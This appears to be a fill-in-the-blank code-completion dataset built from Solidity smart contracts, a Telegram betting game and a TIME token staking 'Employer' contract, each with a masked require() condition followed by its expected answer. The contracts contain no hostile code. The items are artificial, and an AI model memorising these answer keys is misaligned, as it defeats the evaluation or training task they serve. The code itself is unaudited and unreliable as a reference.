import "../ChopBotGame.sol"; contract TelegramChopBotGame is Ownable { address public revenueWallet; ChopBotGame public immutable bettingToken; uint256 public immutable minimumBet; uint256 public immutable revenueBps; uint256 public immutable burnBps; mapping(int64 => Game) public games; int64[] public activeTgGroups; event Bet(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Win(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Loss(int64 tgChatId, address player, uint16 playerIndex, uint256 amount); event Revenue(int64 tgChatId, uint256 amount); event Burn(int64 tgChatId, uint256 amount); constructor(address payable _bettingToken, uint256 _minimumBet, uint256 _revenueBps, uint256 _burnBps, address _revenueWallet) { } struct Game { uint256 revolverSize; uint256 minBet; bytes32 hashedBulletChamberIndex; address[] players; uint256[] bets; bool inProgress; uint16 loser; } /** * @dev Check if there is a game in progress for a Telegram group. * @param _tgChatId Telegram group to check * @return true if there is a game in progress, otherwise false */ function isGameInProgress(int64 _tgChatId) public view returns (bool) { } /** * @dev Remove a Telegram chat ID from the array. * @param _tgChatId Telegram chat ID to remove */ function removeTgId(int64 _tgChatId) internal { } /** * @dev Create a new game. Transfer funds into escrow. * @param _tgChatId Telegram group of this game * @param _revolverSize number of chambers in the revolver * @param _minBet minimum bet to play * @param _hashedBulletChamberIndex which chamber the bullet is in * @param _players participating players * @param _bets each player's bet * @return The updated list of bets. */ function newGame( int64 _tgChatId, uint256 _revolverSize, uint256 _minBet, bytes32 _hashedBulletChamberIndex, address[] memory _players, uint256[] memory _bets) public onlyOwner returns (uint256[] memory ) { } /** * @dev Declare a loser of the game and pay out the winnings. * @param _tgChatId Telegram group of this game * @param _loser index of the loser * * Challenges to the fairness of the game can be met by revealing the string embedded during game creation. */ function endGame(int64 _tgChatId, uint16 _loser) public onlyOwner { require(_loser != type(uint16).max, "Loser index shouldn't be the sentinel value"); require(isGameInProgress(_tgChatId), "No game in progress for this Telegram chat ID"); Game storage g = games[_tgChatId]; require(_loser < g.players.length, "Loser index out of range"); require(g.players.length > 1, "Not enough players"); g.loser = _loser; g.inProgress = false; removeTgId(_tgChatId); address[] memory winners = new address[](g.players.length - 1); uint16[] memory winnersPlayerIndex = new uint16[](g.players.length - 1); uint256 winningBetTotal = 0; { uint16 numWinners = 0; for (uint16 i = 0; i < g.players.length; i++) { if (i != _loser) { winners[numWinners] = g.players[i]; winnersPlayerIndex[numWinners] = i; winningBetTotal += g.bets[i]; numWinners++; } } } uint256 totalPaidWinnings = 0; require(burnBps + revenueBps < 10_1000, "Total fees must be < 100%"); uint256 burnShare = g.bets[_loser] * burnBps / 10_000; uint256 approxRevenueShare = g.bets[_loser] * revenueBps / 10_000; bool isSent; { uint256 totalWinnings = g.bets[_loser] - burnShare - approxRevenueShare; for (uint16 i = 0; i < winners.length; i++) { uint256 winnings = totalWinnings * g.bets[winnersPlayerIndex[i]] / winningBetTotal; isSent = bettingToken.transfer(winners[i], g.bets[winnersPlayerIndex[i]] + winnings); require(isSent, "Funds transfer failed"); emit Win(_tgChatId, winners[i], winnersPlayerIndex[i], winnings); totalPaidWinnings += winnings; } } bettingToken.burn(burnShare); emit Burn(_tgChatId, burnShare); uint256 realRevenueShare = g.bets[_loser] - totalPaidWinnings - burnShare; isSent = bettingToken.transfer(revenueWallet, realRevenueShare); require(isSent, "Revenue transfer failed"); emit Revenue(_tgChatId, realRevenueShare); require(<FILL_ME>) } /** * @dev Abort a game and refund the bets. Use in emergencies * e.g. bot crash. * @param _tgChatId Telegram group of this game */ function abortGame(int64 _tgChatId) public onlyOwner { } /** * @dev Abort all in progress games. */ function abortAllGames() public onlyOwner { } }
(totalPaidWinnings+burnShare+realRevenueShare)==g.bets[_loser],"Calculated winnings do not add up"
484,083
(totalPaidWinnings+burnShare+realRevenueShare)==g.bets[_loser]
"Operation is locked"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ITimeToken.sol"; /** * @title TIME Token Employer contract * @dev Smart contract used to model the first Use Case for TIME Token - The Employer. It pays some interest over the native cryptocurrency deposited from investors **/ contract Employer { bool private _isOperationLocked; address public constant DEVELOPER_ADDRESS = 0x731591207791A93fB0Ec481186fb086E16A7d6D0; address public immutable TIME_TOKEN_ADDRESS; uint256 public constant D = 10**18; uint256 public constant FACTOR = 10**18; uint256 public immutable FIRST_BLOCK; uint256 public immutable ONE_YEAR; uint256 public availableNative; uint256 public currentDepositedNative; uint256 public totalAnticipatedTime; uint256 public totalBurnedTime; uint256 public totalDepositedNative; uint256 public totalDepositedTime; uint256 public totalEarnedNative; uint256 public totalTimeSaved; mapping (address => bool) public anticipationEnabled; mapping (address => uint256) public deposited; mapping (address => uint256) public earned; mapping (address => uint256) public lastBlock; mapping (address => uint256) public remainingTime; constructor(address timeTokenAddress_) { } /** * @dev Implement security to avoid reentrancy attacks **/ modifier nonReentrant() { require(<FILL_ME>) _isOperationLocked = true; _; _isOperationLocked = false; } /** * @dev Update the blocks from caller (msg.sender), contract address, and burn TIME tokens accordingly. It also extracts ETH from TIME contract, compounds and transfer earnings to depositants **/ modifier update(bool mustCompound) { } fallback() external payable { } receive() external payable { } /** * @dev Common function to anticipate gains earned from investments from deposited amount * @param timeAmount TIME token amount used to anticipate the earnings in terms of blocks **/ function _anticipateEarnings(uint256 timeAmount) private { } /** * @dev Burn TIME according to the amount set from selected depositant * @param timeToken The instance of TIME Token contract * @param depositant Address of depositant account * @param amount Amount to be burned **/ function _burnTime(ITimeToken timeToken, address depositant, uint256 amount) private { } /** * @dev Claim the withdrawable amount earned from the TIME Community Pool * @param timeToken The instance of TIME Token contract * @return earnings The amount earned from TIME Token Community Pool **/ function _claimEarningsFromTime(ITimeToken timeToken) private returns (uint256 earnings) { } /** * @dev Compound earned amount from selected depositant * @param depositant Address of depositant account **/ function _compoundDepositantEarnings(address depositant) private { } /** * @dev Claim earnings from TIME contract and buy 10% of them in TIME tokens * @param timeToken The instance of TIME Token contract **/ function _earnInterestAndAllocate(ITimeToken timeToken) private { } /** * @notice Called when need to pay comission for miner (block.coinbase) and developer * @param comissionAmount The total comission amount in ETH which will be paid **/ function _payComission(uint256 comissionAmount) private { } /** * @dev Buy (save) TIME tokens from the TIME Token contract and update the amount to be burned * @param timeToken The instance of TIME Token contract * @param amountToSave Amount to be bought **/ function _saveTime(ITimeToken timeToken, uint256 amountToSave) private { } /** * @dev Withdraw all available earnings to the depositant address * @param depositant Address of depositant account **/ function _transferDepositantEarnings(address depositant) private { } /** * @dev Withdraw all deposited amount to the depositant address and transfer the deposited TIME from depositant to the Employer account **/ function _withdraw() private { } /** * @dev Deposit only TIME in order to anticipate interest over previous deposited ETH * @notice Pre-condition: the depositant must have previous deposited ETH and also should approve (allow to spend) the TIME tokens to deposit. Anticipation is mandatory in this case * @param timeAmount The amount in TIME an investor should deposit to anticipate **/ function anticipate(uint256 timeAmount) public payable nonReentrant update(false) { } /** * @dev Calculate the anticipation fee an investor needs to pay in order to anticipate TIME Tokens in the Employer contract * @return fee The fee amount calculated **/ function anticipationFee() public view returns (uint256) { } /** * @dev Compound available earnings into the depositant account * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount (Optional. Can be zero) The amount of TIME Tokens an investor wants to continue receiveing or anticipating earnings * @param mustAnticipateTime Informs whether an investor wants to anticipate earnings to be compounded **/ function compound(uint256 timeAmount, bool mustAnticipateTime) public nonReentrant update(true) { } /** * @dev Deposit ETH and TIME in order to earn interest over them * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount The amount in TIME an investor should deposit * @param mustAnticipateTime Informs if the depositant wants to anticipate the yield or not **/ function deposit(uint256 timeAmount, bool mustAnticipateTime) public payable nonReentrant update(false) { } /** * @dev Public call for earning interest for Employer (if it has any to receive) **/ function earn() public nonReentrant { } /** * @dev Enable an investor to anticipate yields using TIME tokens **/ function enableAnticipation() public payable nonReentrant update(false) { } /** * @dev Inform the current Return Of Investment the Employer contract is giving * @return roi The current amount returned to investors **/ function getCurrentROI() public view returns (uint256) { } /** * @dev Inform the current Return Of Investment per Block the Employer contract is giving * @return roi The current amount per block returned to investors **/ function getCurrentROIPerBlock() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment the Employer contract is giving * @return roi The historical amount returned to investors **/ function getROI() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment per Block the Employer contract is giving * @return roi The historical amount per block returned to investors **/ function getROIPerBlock() public view returns (uint256) { } /** * @dev Inform the earnings an investor can anticipate (without waiting for a given time) according to the informed TIME amount * @param depositant Address of the depositant account * @param anticipatedTime Amount of TIME informed by a depositant as anticipation * @return earnings Amount a depositant can anticipate **/ function queryAnticipatedEarnings(address depositant, uint256 anticipatedTime) public view returns (uint256) { } /** * @dev Inform the earnings an investor can currently receive * @param depositant Address of the depositant account * @return earnings Amount a depositant can receive **/ function queryEarnings(address depositant) public view returns (uint256) { } /** * @dev Withdraw earnings (only) of a depositant (msg.sender) * @notice All functions are in modifiers. It only checks if the depositant has earning something **/ function withdrawEarnings() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) **/ function withdrawDeposit() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) without any check for earnings (emergency) **/ function withdrawDepositEmergency() public nonReentrant { } }
!_isOperationLocked,"Operation is locked"
484,242
!_isOperationLocked
"Not enough amount to save TIME"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ITimeToken.sol"; /** * @title TIME Token Employer contract * @dev Smart contract used to model the first Use Case for TIME Token - The Employer. It pays some interest over the native cryptocurrency deposited from investors **/ contract Employer { bool private _isOperationLocked; address public constant DEVELOPER_ADDRESS = 0x731591207791A93fB0Ec481186fb086E16A7d6D0; address public immutable TIME_TOKEN_ADDRESS; uint256 public constant D = 10**18; uint256 public constant FACTOR = 10**18; uint256 public immutable FIRST_BLOCK; uint256 public immutable ONE_YEAR; uint256 public availableNative; uint256 public currentDepositedNative; uint256 public totalAnticipatedTime; uint256 public totalBurnedTime; uint256 public totalDepositedNative; uint256 public totalDepositedTime; uint256 public totalEarnedNative; uint256 public totalTimeSaved; mapping (address => bool) public anticipationEnabled; mapping (address => uint256) public deposited; mapping (address => uint256) public earned; mapping (address => uint256) public lastBlock; mapping (address => uint256) public remainingTime; constructor(address timeTokenAddress_) { } /** * @dev Implement security to avoid reentrancy attacks **/ modifier nonReentrant() { } /** * @dev Update the blocks from caller (msg.sender), contract address, and burn TIME tokens accordingly. It also extracts ETH from TIME contract, compounds and transfer earnings to depositants **/ modifier update(bool mustCompound) { } fallback() external payable { } receive() external payable { } /** * @dev Common function to anticipate gains earned from investments from deposited amount * @param timeAmount TIME token amount used to anticipate the earnings in terms of blocks **/ function _anticipateEarnings(uint256 timeAmount) private { } /** * @dev Burn TIME according to the amount set from selected depositant * @param timeToken The instance of TIME Token contract * @param depositant Address of depositant account * @param amount Amount to be burned **/ function _burnTime(ITimeToken timeToken, address depositant, uint256 amount) private { } /** * @dev Claim the withdrawable amount earned from the TIME Community Pool * @param timeToken The instance of TIME Token contract * @return earnings The amount earned from TIME Token Community Pool **/ function _claimEarningsFromTime(ITimeToken timeToken) private returns (uint256 earnings) { } /** * @dev Compound earned amount from selected depositant * @param depositant Address of depositant account **/ function _compoundDepositantEarnings(address depositant) private { } /** * @dev Claim earnings from TIME contract and buy 10% of them in TIME tokens * @param timeToken The instance of TIME Token contract **/ function _earnInterestAndAllocate(ITimeToken timeToken) private { } /** * @notice Called when need to pay comission for miner (block.coinbase) and developer * @param comissionAmount The total comission amount in ETH which will be paid **/ function _payComission(uint256 comissionAmount) private { } /** * @dev Buy (save) TIME tokens from the TIME Token contract and update the amount to be burned * @param timeToken The instance of TIME Token contract * @param amountToSave Amount to be bought **/ function _saveTime(ITimeToken timeToken, uint256 amountToSave) private { if (amountToSave > 0) { require(<FILL_ME>) uint256 currentTime = timeToken.balanceOf(address(this)); try timeToken.saveTime{value: amountToSave}() { uint256 timeSaved = (timeToken.balanceOf(address(this)) - currentTime); remainingTime[address(this)] += timeSaved; totalTimeSaved += timeSaved; } catch { revert("Not able to save TIME"); } } } /** * @dev Withdraw all available earnings to the depositant address * @param depositant Address of depositant account **/ function _transferDepositantEarnings(address depositant) private { } /** * @dev Withdraw all deposited amount to the depositant address and transfer the deposited TIME from depositant to the Employer account **/ function _withdraw() private { } /** * @dev Deposit only TIME in order to anticipate interest over previous deposited ETH * @notice Pre-condition: the depositant must have previous deposited ETH and also should approve (allow to spend) the TIME tokens to deposit. Anticipation is mandatory in this case * @param timeAmount The amount in TIME an investor should deposit to anticipate **/ function anticipate(uint256 timeAmount) public payable nonReentrant update(false) { } /** * @dev Calculate the anticipation fee an investor needs to pay in order to anticipate TIME Tokens in the Employer contract * @return fee The fee amount calculated **/ function anticipationFee() public view returns (uint256) { } /** * @dev Compound available earnings into the depositant account * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount (Optional. Can be zero) The amount of TIME Tokens an investor wants to continue receiveing or anticipating earnings * @param mustAnticipateTime Informs whether an investor wants to anticipate earnings to be compounded **/ function compound(uint256 timeAmount, bool mustAnticipateTime) public nonReentrant update(true) { } /** * @dev Deposit ETH and TIME in order to earn interest over them * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount The amount in TIME an investor should deposit * @param mustAnticipateTime Informs if the depositant wants to anticipate the yield or not **/ function deposit(uint256 timeAmount, bool mustAnticipateTime) public payable nonReentrant update(false) { } /** * @dev Public call for earning interest for Employer (if it has any to receive) **/ function earn() public nonReentrant { } /** * @dev Enable an investor to anticipate yields using TIME tokens **/ function enableAnticipation() public payable nonReentrant update(false) { } /** * @dev Inform the current Return Of Investment the Employer contract is giving * @return roi The current amount returned to investors **/ function getCurrentROI() public view returns (uint256) { } /** * @dev Inform the current Return Of Investment per Block the Employer contract is giving * @return roi The current amount per block returned to investors **/ function getCurrentROIPerBlock() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment the Employer contract is giving * @return roi The historical amount returned to investors **/ function getROI() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment per Block the Employer contract is giving * @return roi The historical amount per block returned to investors **/ function getROIPerBlock() public view returns (uint256) { } /** * @dev Inform the earnings an investor can anticipate (without waiting for a given time) according to the informed TIME amount * @param depositant Address of the depositant account * @param anticipatedTime Amount of TIME informed by a depositant as anticipation * @return earnings Amount a depositant can anticipate **/ function queryAnticipatedEarnings(address depositant, uint256 anticipatedTime) public view returns (uint256) { } /** * @dev Inform the earnings an investor can currently receive * @param depositant Address of the depositant account * @return earnings Amount a depositant can receive **/ function queryEarnings(address depositant) public view returns (uint256) { } /** * @dev Withdraw earnings (only) of a depositant (msg.sender) * @notice All functions are in modifiers. It only checks if the depositant has earning something **/ function withdrawEarnings() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) **/ function withdrawDeposit() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) without any check for earnings (emergency) **/ function withdrawDepositEmergency() public nonReentrant { } }
address(this).balance>=amountToSave,"Not enough amount to save TIME"
484,242
address(this).balance>=amountToSave
"Depositant does not have any amount to withdraw"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ITimeToken.sol"; /** * @title TIME Token Employer contract * @dev Smart contract used to model the first Use Case for TIME Token - The Employer. It pays some interest over the native cryptocurrency deposited from investors **/ contract Employer { bool private _isOperationLocked; address public constant DEVELOPER_ADDRESS = 0x731591207791A93fB0Ec481186fb086E16A7d6D0; address public immutable TIME_TOKEN_ADDRESS; uint256 public constant D = 10**18; uint256 public constant FACTOR = 10**18; uint256 public immutable FIRST_BLOCK; uint256 public immutable ONE_YEAR; uint256 public availableNative; uint256 public currentDepositedNative; uint256 public totalAnticipatedTime; uint256 public totalBurnedTime; uint256 public totalDepositedNative; uint256 public totalDepositedTime; uint256 public totalEarnedNative; uint256 public totalTimeSaved; mapping (address => bool) public anticipationEnabled; mapping (address => uint256) public deposited; mapping (address => uint256) public earned; mapping (address => uint256) public lastBlock; mapping (address => uint256) public remainingTime; constructor(address timeTokenAddress_) { } /** * @dev Implement security to avoid reentrancy attacks **/ modifier nonReentrant() { } /** * @dev Update the blocks from caller (msg.sender), contract address, and burn TIME tokens accordingly. It also extracts ETH from TIME contract, compounds and transfer earnings to depositants **/ modifier update(bool mustCompound) { } fallback() external payable { } receive() external payable { } /** * @dev Common function to anticipate gains earned from investments from deposited amount * @param timeAmount TIME token amount used to anticipate the earnings in terms of blocks **/ function _anticipateEarnings(uint256 timeAmount) private { } /** * @dev Burn TIME according to the amount set from selected depositant * @param timeToken The instance of TIME Token contract * @param depositant Address of depositant account * @param amount Amount to be burned **/ function _burnTime(ITimeToken timeToken, address depositant, uint256 amount) private { } /** * @dev Claim the withdrawable amount earned from the TIME Community Pool * @param timeToken The instance of TIME Token contract * @return earnings The amount earned from TIME Token Community Pool **/ function _claimEarningsFromTime(ITimeToken timeToken) private returns (uint256 earnings) { } /** * @dev Compound earned amount from selected depositant * @param depositant Address of depositant account **/ function _compoundDepositantEarnings(address depositant) private { } /** * @dev Claim earnings from TIME contract and buy 10% of them in TIME tokens * @param timeToken The instance of TIME Token contract **/ function _earnInterestAndAllocate(ITimeToken timeToken) private { } /** * @notice Called when need to pay comission for miner (block.coinbase) and developer * @param comissionAmount The total comission amount in ETH which will be paid **/ function _payComission(uint256 comissionAmount) private { } /** * @dev Buy (save) TIME tokens from the TIME Token contract and update the amount to be burned * @param timeToken The instance of TIME Token contract * @param amountToSave Amount to be bought **/ function _saveTime(ITimeToken timeToken, uint256 amountToSave) private { } /** * @dev Withdraw all available earnings to the depositant address * @param depositant Address of depositant account **/ function _transferDepositantEarnings(address depositant) private { } /** * @dev Withdraw all deposited amount to the depositant address and transfer the deposited TIME from depositant to the Employer account **/ function _withdraw() private { require(<FILL_ME>) require(currentDepositedNative >= deposited[msg.sender], "Not enough in contract to withdraw"); remainingTime[address(this)] += remainingTime[msg.sender]; remainingTime[msg.sender] = 0; currentDepositedNative -= deposited[msg.sender]; payable(msg.sender).transfer(deposited[msg.sender]); deposited[msg.sender] = 0; } /** * @dev Deposit only TIME in order to anticipate interest over previous deposited ETH * @notice Pre-condition: the depositant must have previous deposited ETH and also should approve (allow to spend) the TIME tokens to deposit. Anticipation is mandatory in this case * @param timeAmount The amount in TIME an investor should deposit to anticipate **/ function anticipate(uint256 timeAmount) public payable nonReentrant update(false) { } /** * @dev Calculate the anticipation fee an investor needs to pay in order to anticipate TIME Tokens in the Employer contract * @return fee The fee amount calculated **/ function anticipationFee() public view returns (uint256) { } /** * @dev Compound available earnings into the depositant account * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount (Optional. Can be zero) The amount of TIME Tokens an investor wants to continue receiveing or anticipating earnings * @param mustAnticipateTime Informs whether an investor wants to anticipate earnings to be compounded **/ function compound(uint256 timeAmount, bool mustAnticipateTime) public nonReentrant update(true) { } /** * @dev Deposit ETH and TIME in order to earn interest over them * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount The amount in TIME an investor should deposit * @param mustAnticipateTime Informs if the depositant wants to anticipate the yield or not **/ function deposit(uint256 timeAmount, bool mustAnticipateTime) public payable nonReentrant update(false) { } /** * @dev Public call for earning interest for Employer (if it has any to receive) **/ function earn() public nonReentrant { } /** * @dev Enable an investor to anticipate yields using TIME tokens **/ function enableAnticipation() public payable nonReentrant update(false) { } /** * @dev Inform the current Return Of Investment the Employer contract is giving * @return roi The current amount returned to investors **/ function getCurrentROI() public view returns (uint256) { } /** * @dev Inform the current Return Of Investment per Block the Employer contract is giving * @return roi The current amount per block returned to investors **/ function getCurrentROIPerBlock() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment the Employer contract is giving * @return roi The historical amount returned to investors **/ function getROI() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment per Block the Employer contract is giving * @return roi The historical amount per block returned to investors **/ function getROIPerBlock() public view returns (uint256) { } /** * @dev Inform the earnings an investor can anticipate (without waiting for a given time) according to the informed TIME amount * @param depositant Address of the depositant account * @param anticipatedTime Amount of TIME informed by a depositant as anticipation * @return earnings Amount a depositant can anticipate **/ function queryAnticipatedEarnings(address depositant, uint256 anticipatedTime) public view returns (uint256) { } /** * @dev Inform the earnings an investor can currently receive * @param depositant Address of the depositant account * @return earnings Amount a depositant can receive **/ function queryEarnings(address depositant) public view returns (uint256) { } /** * @dev Withdraw earnings (only) of a depositant (msg.sender) * @notice All functions are in modifiers. It only checks if the depositant has earning something **/ function withdrawEarnings() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) **/ function withdrawDeposit() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) without any check for earnings (emergency) **/ function withdrawDepositEmergency() public nonReentrant { } }
deposited[msg.sender]>0,"Depositant does not have any amount to withdraw"
484,242
deposited[msg.sender]>0
"Should allow TIME to be spent"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ITimeToken.sol"; /** * @title TIME Token Employer contract * @dev Smart contract used to model the first Use Case for TIME Token - The Employer. It pays some interest over the native cryptocurrency deposited from investors **/ contract Employer { bool private _isOperationLocked; address public constant DEVELOPER_ADDRESS = 0x731591207791A93fB0Ec481186fb086E16A7d6D0; address public immutable TIME_TOKEN_ADDRESS; uint256 public constant D = 10**18; uint256 public constant FACTOR = 10**18; uint256 public immutable FIRST_BLOCK; uint256 public immutable ONE_YEAR; uint256 public availableNative; uint256 public currentDepositedNative; uint256 public totalAnticipatedTime; uint256 public totalBurnedTime; uint256 public totalDepositedNative; uint256 public totalDepositedTime; uint256 public totalEarnedNative; uint256 public totalTimeSaved; mapping (address => bool) public anticipationEnabled; mapping (address => uint256) public deposited; mapping (address => uint256) public earned; mapping (address => uint256) public lastBlock; mapping (address => uint256) public remainingTime; constructor(address timeTokenAddress_) { } /** * @dev Implement security to avoid reentrancy attacks **/ modifier nonReentrant() { } /** * @dev Update the blocks from caller (msg.sender), contract address, and burn TIME tokens accordingly. It also extracts ETH from TIME contract, compounds and transfer earnings to depositants **/ modifier update(bool mustCompound) { } fallback() external payable { } receive() external payable { } /** * @dev Common function to anticipate gains earned from investments from deposited amount * @param timeAmount TIME token amount used to anticipate the earnings in terms of blocks **/ function _anticipateEarnings(uint256 timeAmount) private { } /** * @dev Burn TIME according to the amount set from selected depositant * @param timeToken The instance of TIME Token contract * @param depositant Address of depositant account * @param amount Amount to be burned **/ function _burnTime(ITimeToken timeToken, address depositant, uint256 amount) private { } /** * @dev Claim the withdrawable amount earned from the TIME Community Pool * @param timeToken The instance of TIME Token contract * @return earnings The amount earned from TIME Token Community Pool **/ function _claimEarningsFromTime(ITimeToken timeToken) private returns (uint256 earnings) { } /** * @dev Compound earned amount from selected depositant * @param depositant Address of depositant account **/ function _compoundDepositantEarnings(address depositant) private { } /** * @dev Claim earnings from TIME contract and buy 10% of them in TIME tokens * @param timeToken The instance of TIME Token contract **/ function _earnInterestAndAllocate(ITimeToken timeToken) private { } /** * @notice Called when need to pay comission for miner (block.coinbase) and developer * @param comissionAmount The total comission amount in ETH which will be paid **/ function _payComission(uint256 comissionAmount) private { } /** * @dev Buy (save) TIME tokens from the TIME Token contract and update the amount to be burned * @param timeToken The instance of TIME Token contract * @param amountToSave Amount to be bought **/ function _saveTime(ITimeToken timeToken, uint256 amountToSave) private { } /** * @dev Withdraw all available earnings to the depositant address * @param depositant Address of depositant account **/ function _transferDepositantEarnings(address depositant) private { } /** * @dev Withdraw all deposited amount to the depositant address and transfer the deposited TIME from depositant to the Employer account **/ function _withdraw() private { } /** * @dev Deposit only TIME in order to anticipate interest over previous deposited ETH * @notice Pre-condition: the depositant must have previous deposited ETH and also should approve (allow to spend) the TIME tokens to deposit. Anticipation is mandatory in this case * @param timeAmount The amount in TIME an investor should deposit to anticipate **/ function anticipate(uint256 timeAmount) public payable nonReentrant update(false) { require(deposited[msg.sender] > 0, "Depositant does not have any amount to anticipate"); require(timeAmount > 0, "Please deposit some TIME amount"); ITimeToken timeToken = ITimeToken(TIME_TOKEN_ADDRESS); require(<FILL_ME>) try timeToken.transferFrom(msg.sender, address(this), timeAmount) { totalDepositedTime += timeAmount; _anticipateEarnings(timeAmount); } catch { revert("Problem when transferring TIME"); } } /** * @dev Calculate the anticipation fee an investor needs to pay in order to anticipate TIME Tokens in the Employer contract * @return fee The fee amount calculated **/ function anticipationFee() public view returns (uint256) { } /** * @dev Compound available earnings into the depositant account * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount (Optional. Can be zero) The amount of TIME Tokens an investor wants to continue receiveing or anticipating earnings * @param mustAnticipateTime Informs whether an investor wants to anticipate earnings to be compounded **/ function compound(uint256 timeAmount, bool mustAnticipateTime) public nonReentrant update(true) { } /** * @dev Deposit ETH and TIME in order to earn interest over them * @notice Pre-condition: the depositant should approve (allow to spend) the TIME tokens to deposit. Also, if they want to anticipate yield, they must enabled anticipation before the function call * @param timeAmount The amount in TIME an investor should deposit * @param mustAnticipateTime Informs if the depositant wants to anticipate the yield or not **/ function deposit(uint256 timeAmount, bool mustAnticipateTime) public payable nonReentrant update(false) { } /** * @dev Public call for earning interest for Employer (if it has any to receive) **/ function earn() public nonReentrant { } /** * @dev Enable an investor to anticipate yields using TIME tokens **/ function enableAnticipation() public payable nonReentrant update(false) { } /** * @dev Inform the current Return Of Investment the Employer contract is giving * @return roi The current amount returned to investors **/ function getCurrentROI() public view returns (uint256) { } /** * @dev Inform the current Return Of Investment per Block the Employer contract is giving * @return roi The current amount per block returned to investors **/ function getCurrentROIPerBlock() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment the Employer contract is giving * @return roi The historical amount returned to investors **/ function getROI() public view returns (uint256) { } /** * @dev Inform the historical Return Of Investment per Block the Employer contract is giving * @return roi The historical amount per block returned to investors **/ function getROIPerBlock() public view returns (uint256) { } /** * @dev Inform the earnings an investor can anticipate (without waiting for a given time) according to the informed TIME amount * @param depositant Address of the depositant account * @param anticipatedTime Amount of TIME informed by a depositant as anticipation * @return earnings Amount a depositant can anticipate **/ function queryAnticipatedEarnings(address depositant, uint256 anticipatedTime) public view returns (uint256) { } /** * @dev Inform the earnings an investor can currently receive * @param depositant Address of the depositant account * @return earnings Amount a depositant can receive **/ function queryEarnings(address depositant) public view returns (uint256) { } /** * @dev Withdraw earnings (only) of a depositant (msg.sender) * @notice All functions are in modifiers. It only checks if the depositant has earning something **/ function withdrawEarnings() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) **/ function withdrawDeposit() public nonReentrant update(false) { } /** * @dev Withdraw all deposited values of a depositant (msg.sender) without any check for earnings (emergency) **/ function withdrawDepositEmergency() public nonReentrant { } }
timeToken.allowance(msg.sender,address(this))>=timeAmount,"Should allow TIME to be spent"
484,242
timeToken.allowance(msg.sender,address(this))>=timeAmount
"Depositant is not enabled to anticipate TIME"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ITimeToken.sol"; /** * @title TIME Token Employer contract * @dev Smart contract used to model the first Use Case for TIME Token - The Employer. It pays some interest over the native cryptocurrency deposited from investors **/ contract Employer { bool private _isOperationLocked; address public constant DEVELOPER_ADDRESS = 0x731591207791A93fB0Ec481186fb086E16A7d6D0; address public immutable TIME_TOKEN_ADDRESS; uint256 public constant D = 10**18; uint256 public constant FACTOR = 10**18; uint256 public immutable FIRST_BLOCK; uint256 public immutable ONE_YEAR; uint256 public availableNative; uint256 public currentDepositedNative; uint256 public totalAnticipatedTime; uint256 public totalBurnedTime; uint256 public totalDepositedNative; uint256 public totalDepositedTime; uint256 public totalEarnedNative; uint256 public totalTimeSaved; mapping (address => bool) public anticipationEnabled; mapping (address => uint256) public deposited; mapping (address => uint256) public earned; mapping (address => uint256) public lastBlock; mapping (address => uint256) public remainingTime; constructor(address timeTokenAddress_) { } /** * @dev Implement security to avoid reentrancy attacks **/ modifier nonReentrant() { } /** * @dev Update the blocks from caller (msg.sender), contract address, and burn TIME tokens accordingly. It also extracts ETH from TIME contract, compounds and transfer earnings to depositants **/ modifier update(bool mustCompound) { } fallback() external payable { } receive() external payable { } /** * @dev Common function to anticipate gains earned from investments from deposited amount * @param timeAmount TIME token amount used to anticipate the earnings in terms of blocks **/ function _anticipateEarnings(uint256 timeAmount) private { } /** * @dev Burn TIME according to the amount set from selected depositant * @param timeToken The instance of TIME Token contract * @param depositant Address of depositant account * @param amount Amount to be burned **/ function _burnTime(ITimeToken timeToken, address depositant, uint256 amount) private { } /** * @dev Claim the withdrawable amount earned from the TIME Community Pool * @param timeToken The instance of TIME Token contract * @return earnings The amount earned from TIME Token Community Pool **/ function _claimEarningsFromTime(ITimeToken timeToken) private returns (uint256 earnings) { } /** * @dev Compound earned amount from selected depositant * @param depositant Address of depositant account **/ function _compoundDepositantEarnings(address depositant) private { } /** * @dev Claim earnings from TIME contract and buy 10% of them in TIME tokens * @param timeToken The instance of TIME Token contract **/ function _earnInterestAndAllocate(ITimeToken timeToken) private { } /** * @notice Called when need to pay comission for miner (block.coinbase) and developer * @param comissionAmount The total comission amount in ETH which will be paid **/ function _payComission(uint256 comissionAmount) private { } /** * @dev Buy (save) TIME tokens from the TIME Token contract and update the amount to be 